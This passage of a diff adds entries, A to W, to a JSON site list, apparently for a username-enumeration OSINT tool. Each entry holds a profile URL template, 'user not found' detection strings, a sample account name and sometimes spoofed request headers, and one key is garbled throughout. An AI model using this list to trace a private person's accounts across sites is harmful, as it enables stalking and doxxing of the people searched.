"response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://facenama.com/{}", + "urlMain": "https://facenama.com/", + "usernameON": "blue", + "bad_site": 1 + }, + "Fadecloudmc": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fadecloudmc.com/forums/members/?username={}", + "urlMain": "https://fadecloudmc.com", + "usernameON": "jordan", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fallout_reactor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://fallout.reactor.cc/user/{}", + "urlMain": "https://fallout.reactor.cc", + "usernameON": "Xell108", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Fanacmilan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "NameBright - Domain Expired", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fanacmilan.com/index/8-0-{}", + "urlMain": "http://fanacmilan.com", + "usernameON": "milanfan97", + "bad_site": 1 + }, + "Fandom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "usernameON": "Jungypoo", + "bad_site": "" + }, + "FanficsLandia": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fanficslandia.com/usuario/?username={}", + "urlMain": "https://fanficslandia.com", + "usernameON": "sensy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fanlore": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "http://fanlore.org/wiki/User:{}", + "urlMain": "http://fanlore.org", + "usernameON": "red", + "bad_site": "" + }, + "Fanpop": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Fansmetrics": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://fansmetrics.com/en/onlyfans/{}", + "urlMain": "https://fansmetrics.com", + "urlProbe": "https://subseeker.co/creators/{}", + "usernameON": "itsmoremia", + "bad_site": "" + }, + "Fantlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найдено ни одного посетителя", + "errorMsg2": "

FantLab ru

", + "errorTyp��": "message", + "url": "https://fantlab.ru/usersclasspage1?usersearch={}", + "urlMain": "https://fantlab.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Faqusha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://faqusha.ru/profile/{}/", + "urlMain": "https://faqusha.ru", + "usernameON": "typhoon", + "bad_site": "" + }, + "Fark": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Tastes like chicken.", + "errorMsg2": "FARK.com: User profiles: view", + "errorTyp��": "message", + "url": "https://www.fark.com/users/{}/", + "urlMain": "https://www.fark.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Farmerforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользовате", + "errorMsg3": "Не найдено ни одного пользовател", + "errorTyp��": "message", + "url": "http://farmerforum.ru/memberlist.php?username={}", + "urlMain": "http://farmerforum.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Fashionindustrynetwork": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fashionindustrynetwork.com/members/{}", + "urlMain": "https://www.fashionindustrynetwork.com", + "usernameON": "abitosera", + "comments": "bad", + "bad_site": 1 + }, + "Fatsecret": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.fatsecret.com/member/{}", + "urlMain": "https://www.fatsecret.com", + "usernameON": "adam", + "bad_site": "" + }, + "Favera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://favera.ru/{}", + "urlMain": "https://favera.ru", + "usernameON": "mayhem", + "bad_site": 1 + }, + "Fcdin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://fcdin.com/forum/memberlist.php?username={}", + "urlMain": "http://fcdin.com", + "usernameON": "red", + "bad_site": "" + }, + "Fcenter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www1.fcenter.ru/fcconfa/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www1.fcenter.ru", + "usernameON": "DmitryVT", + "bad_site": 1 + }, + "Fckarpaty": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Сторінку не знайдено", + "errorMsg2": "Сторінку не знайдено", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fckarpaty.com.ua/index/8-0-{}", + "urlMain": "http://fckarpaty.com.ua", + "usernameON": "OlegGurin", + "comments": "bad", + "bad_site": 1 + }, + "Fclmnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "content=\"noindex, nofollow", + "errorMsg2": "please...", + "errorTyp��": "message", + "url": "https://fclmnews.ru/user/{}/", + "urlMain": "https://fclmnews.ru", + "usernameON": "stoker82", + "comments": "cf", + "bad_site": "" + }, + "Fcrubin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум болельщиков ФК Рубин", + "errorTyp��": "message", + "url": "https://www.fcrubin.ru/forum/member.php?username={}", + "urlMain": "https://www.fcrubin.ru", + "usernameON": "flet", + "bad_site": "" + }, + "Fcshakhter": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": ">Постов не найдено

", + "errorMsg2": "

", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fcshakhter.by/forum.asp?limit_pocet=20&jmeno={}", + "urlMain": "https://fcshakhter.by", + "usernameON": "fdfds", + "bad_site": "" + }, + "Fedoraproject": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ask.fedoraproject.org/u/{}/summary", + "urlMain": "https://ask.fedoraproject.org/", + "usernameON": "rbirkner", + "bad_site": "" + }, + "Fegatch": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.fegatch.com/users/{}/artworks/", + "urlMain": "http://www.fegatch.com/", + "usernameON": "margaret-veret", + "bad_site": 1 + }, + "Feisovet": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://feisovet.ru/%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8/{}", + "urlMain": "https://feisovet.ru", + "usernameON": "RinaLesnicova", + "bad_site": "" + }, + "Femunity": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "content='noindex", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://femunity.org/forums/users/{}/", + "urlMain": "https://femunity.org", + "usernameON": "andrew99", + "ignore_status_code": true, + "bad_site": "" + }, + "Fiat-club": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "http://fiat-club.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://fiat-club.org.ua", + "usernameON": "CreAtoR", + "bad_site": "" + }, + "Ficwad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ficwad.com/a/{}/favorites/authors", + "urlMain": "https://ficwad.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ficwriter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Этот профиль либо больше не существует или не доступен.", + "errorMsg2": "Пользователи", + "errorTyp��": "message", + "url": "https://ficwriter.info/polzovateli/userprofile/{}.html", + "urlMain": "https://ficwriter.info", + "usernameON": "Zinaida", + "bad_site": "" + }, + "Filmow": { + "country": "🇵🇹", + "country_klas": "PT", + "errorTyp��": "status_code", + "url": "https://filmow.com/usuario/{}", + "urlMain": "https://filmow.com/", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Filmwatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://filmwatch.com/user/home/{}", + "urlMain": "https://filmwatch.com", + "usernameON": "hazelamy", + "comments": "Oplata", + "bad_site": 1 + }, + "Filmweb": { + "country": "🇵🇱", + "country_klas": "PL", + "errorMsg": "lang=\"pl\">", + "errorTyp��": "message", + "url": "http://movie-club.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://movie-club.ru", + "usernameON": "apollion", + "bad_site": "" + }, + "Forum_mow-portal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mow-portal.ru/index/8-0-{}", + "urlMain": "https://mow-portal.ru", + "usernameON": "alexeyeryomchenko", + "bad_site": "" + }, + "Forum_mozhaysk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mozhaysk.my1.ru/index/8-0-{}", + "urlMain": "https://mozhaysk.my1.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_mozilla-russia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "

\n\n\n0", + "errorTyp��": "message", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.uralfishing.ru", + "usernameON": "Mephisto", + "bad_site": "" + }, + "Uralrock": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uralrock.ru/forum/member.php?username={}", + "urlMain": "https://uralrock.ru", + "usernameON": "Cyxapb", + "comments": "RUblock", + "bad_site": "" + }, + "Urlebird": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://urlebird.com/user/{}/", + "urlMain": "https://urlebird.com", + "usernameON": "chikamaria4", + "comments": "zamedlenie", + "bad_site": "" + }, + "USA_life": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://usa.life/{}", + "urlMain": "https://usa.life", + "usernameON": "RinDavis", + "bad_site": "" + }, + "Users_ucrazy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ucrazy.org/u/{}/", + "urlMain": "https://ucrazy.org", + "usernameON": "aptoc", + "bad_site": "" + }, + "Usersoft_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://usersoft.ucoz.ru/index/8-0-{}", + "urlMain": "https://usersoft.ucoz.ru", + "usernameON": "SRabdrashirup", + "bad_site": "" + }, + "Uvelir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://uvelir.net/member.php?username={}", + "urlMain": "https://uvelir.net/", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Uwr1": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "http://uwr1.de/forum/profile/{}", + "urlMain": "http://uwr1.de", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Uzhforum": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.uzhforum.com/member.php?username={}", + "urlMain": "http://www.uzhforum.com", + "usernameON": "kirpicik", + "comments": "old", + "bad_site": 1 + }, + "Valday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Личные данные пользователя ", + "errorMsg2": "gen\"> ", + "errorMsg3": "UnMask", + "errorTyp��": "message", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://valday.com", + "usernameON": "Azs", + "bad_site": "" + }, + "Vamber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vamber.ru/author/{}/", + "urlMain": "https://vamber.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Vampirerave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "urlMain": "https://www.vampirerave.com", + "usernameON": "EternalXRage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Vas3k": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vas3k.club/user/{}/", + "urlMain": "https://vas3k.club", + "usernameON": "zahhar", + "bad_site": "" + }, + "VC": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null", + "errorMsg2": "lastSortingValue\":0,\"total\":0", + "errorTyp��": "message", + "url": "https://vc.ru/discovery?q={}", + "urlMain": "https://vc.ru", + "urlProbe": "https://api.vc.ru/v2.51/search/subsites?q={}&type=1&page=0", + "usernameON": "yuliya", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Vegascreativesoftware": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Whatever you're looking for.", + "errorMsg2": "VEGAS Community | vegascreativesoftware.info", + "errorTyp��": "message", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "urlMain": "https://www.vegascreativesoftware.info", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Velocat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих сообщений не найдено", + "errorMsg2": "<title>ВЕЛОСАЙТ - Информация", + "errorTyp��": "message", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "urlMain": "https://velocat.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Velomania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Velosamara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "urlMain": "http://velosamara.ru", + "usernameON": "Morbo", + "bad_site": "" + }, + "Venera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://venera.one/search/?q={}&type=core_members", + "urlMain": "https://venera.one", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Venmo": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://venmo.com/{}", + "urlMain": "https://venmo.com/", + "usernameON": "jenny", + "comments": "RUblock", + "bad_site": "" + }, + "Vero": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error Page - VERO™ – True Social", + "errorMsg2": "class=\"_not-found-page", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co", + "usernameON": "lilyherbertson", + "bad_site": "" + }, + "Vezha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vezha.com/members/?username={}", + "urlMain": "https://vezha.com/", + "usernameON": "red", + "bad_site": "" + }, + "Vgtimes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найден", + "errorMsg2": "Сайт сейчас", + "errorMsg3": "<div id='dle-content'></div>", + "errorTyp��": "message", + "url": "https://vgtimes.ru/user/{}/", + "urlMain": "https://vgtimes.ru", + "comments": "cf", + "usernameON": "Raumkua", + "bad_site": "" + }, + "Vidamora": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Meet , in", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.vidamora.com/profile/{}", + "urlMain": "https://www.vidamora.com", + "usernameON": "adam", + "bad_site": "" + }, + "Video_ploud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "urlMain": "https://video.ploud.jp", + "usernameON": "lwflouisa", + "bad_site": "" + }, + "Videoforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://videoforums.ru/member.php?username={}", + "urlMain": "http://videoforums.ru", + "usernameON": "carlo", + "bad_site": "" + }, + "Videogamegeek": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Profile | VideoGameGeek", + "errorMsg2": "Error: User does not exist.", + "errorMsg3": "not found", + "errorTyp��": "message", + "url": "https://videogamegeek.com/user/{}", + "urlMain": "https://videogamegeek.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Videohive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://videohive.net/user/{}", + "urlMain": "https://videohive.net", + "usernameON": "zedbadley", + "bad_site": "" + }, + "Videosift": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "You Seem Lost", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://videosift.com/member/{}", + "urlMain": "https://videosift.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": 1 + }, + "Vimeo": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Virgool": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "۴۰۴", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://virgool.io/@{}", + "urlMain": "https://virgool.io/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Virtualireland": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "VirtualIreland.ru - Виртуальная Ирландия", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.virtualireland.ru/member.php?username={}", + "urlMain": "https://www.virtualireland.ru", + "usernameON": "Lee", + "bad_site": "" + }, + "Vishivalochka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://vishivalochka.ru/index/8-0-{}", + "urlMain": "http://vishivalochka.ru", + "usernameON": "Caliopa", + "comments": "Oplata", + "bad_site": "" + }, + "Vivino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.vivino.com/users/{}", + "urlMain": "https://www.vivino.com/", + "usernameON": "adam", + "bad_site": "" + }, + "VK": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "usernameON": "smith", + "bad_site": "" + }, + "Vkaline": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "urlMain": "http://www.vkaline.ru", + "usernameON": "Varelik", + "comments": "old", + "bad_site": 1 + }, + "Vkrugudrusey": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorTyp��": "response_url", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "urlMain": "http://vkrugudrusey.ru", + "usernameON": "irina", + "comments": "Archive", + "bad_site": 1 + }, + "Vlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vlab.su", + "usernameON": "Sword93", + "bad_site": "" + }, + "Vladimirka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.vladimirka.ru/board/profile/{}", + "urlMain": "http://www.vladimirka.ru", + "usernameON": "anyazxc1", + "bad_site": "" + }, + "Vladmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация |", + "errorTyp��": "message", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vladmama.ru", + "usernameON": "Lenok2803", + "bad_site": "" + }, + "Vlmi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Упс! Мы столкнулись с некоторыми проблемами. | VLMI Интернет-безопасность, обмен приватной информацией", + "errorMsg2": "Полезные пользователи | VLMI Интернет-безопасность, обмен приватной информацией", + "errorTyp��": "message", + "url": "https://vlmi.biz/members/?username={}", + "urlMain": "https://vlmi.biz", + "usernameON": "mixa", + "comments": "old", + "bad_site": 1 + }, + "Voices": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.voices.com/actors/{}", + "urlMain": "https://www.voices.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Voicesevas": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://voicesevas.ru/user/{}/", + "urlMain": "http://voicesevas.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Volga-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://volga-gaz.nnov.ru", + "usernameON": "serg6033", + "bad_site": "" + }, + "Volkodavcaoko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "urlMain": "https://volkodavcaoko.forum24.ru", + "usernameON": "itaka", + "bad_site": "" + }, + "Volkswagen": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "urlMain": "http://volkswagen.lviv.ua", + "usernameON": "scirocco", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Volleybox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://volleybox.net/ru/user/{}", + "urlMain": "https://volleybox.net", + "usernameON": "volleyjerseys", + "comments": "cf", + "bad_site": "" + }, + "Votetags": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "<body class=\"archive author\">", + "errorTyp��": "message", + "url": "https://www.votetags.info/author/{}/", + "urlMain": "https://www.votetags.info/", + "usernameON": "safeclothes", + "bad_site": "" + }, + "VSCO": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "usernameON": "blue", + "bad_site": "" + }, + "Vse": { + "country": "🇰🇿", + "country_klas": "KZ", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "urlMain": "https://vse.kz", + "usernameON": "vturekhanov", + "comments": "old_feb_2025", + "bad_site": 1 + }, + "Vulengate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.vulengate.com/members/?username={}", + "urlMain": "https://www.vulengate.com", + "usernameON": "dmanskits", + "comments": "cf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Vulgo_rolka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "urlMain": "https://vulgo.rolka.me", + "usernameON": "tania25297", + "bad_site": "" + }, + "Vyshyvanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "urlMain": "https://vyshyvanka.ucoz.ru", + "usernameON": "Sirena", + "bad_site": "" + }, + "Vzvd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "urlMain": "https://vzvd.ru", + "usernameON": "Troll", + "bad_site": "" + }, + "W3challs": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 Page not found – W3Challs Hacking Challenges", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://w3challs.com/profile/{}", + "urlMain": "https://w3challs.com/", + "usernameON": "adam", + "bad_site": "" + }, + "W3schools": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "problem", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://w3schools.invisionzone.com", + "usernameON": "DubaiSouthVillas", + "comments": "cf", + "bad_site": "" + }, + "W7forums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.w7forums.com/members/?username={}", + "urlMain": "https://www.w7forums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wakatime": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wanelo": { + "country": "🇺🇸", + "country_klas": "US", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://wanelo.co/{}", + "urlMain": "https://wanelo.co", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Warcraft3ft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "urlMain": "https://warcraft3ft.clan.su", + "usernameON": "Inods", + "bad_site": "" + }, + "Warhammercommunity": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "urlMain": "https://warhammercommunity.com", + "usernameON": "harleyquinn", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Warriorforum": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Wasm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wasm.in/members/?username={}", + "urlMain": "https://wasm.in", + "usernameON": "entropy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Wattpad": { + "country": "🇨🇦", + 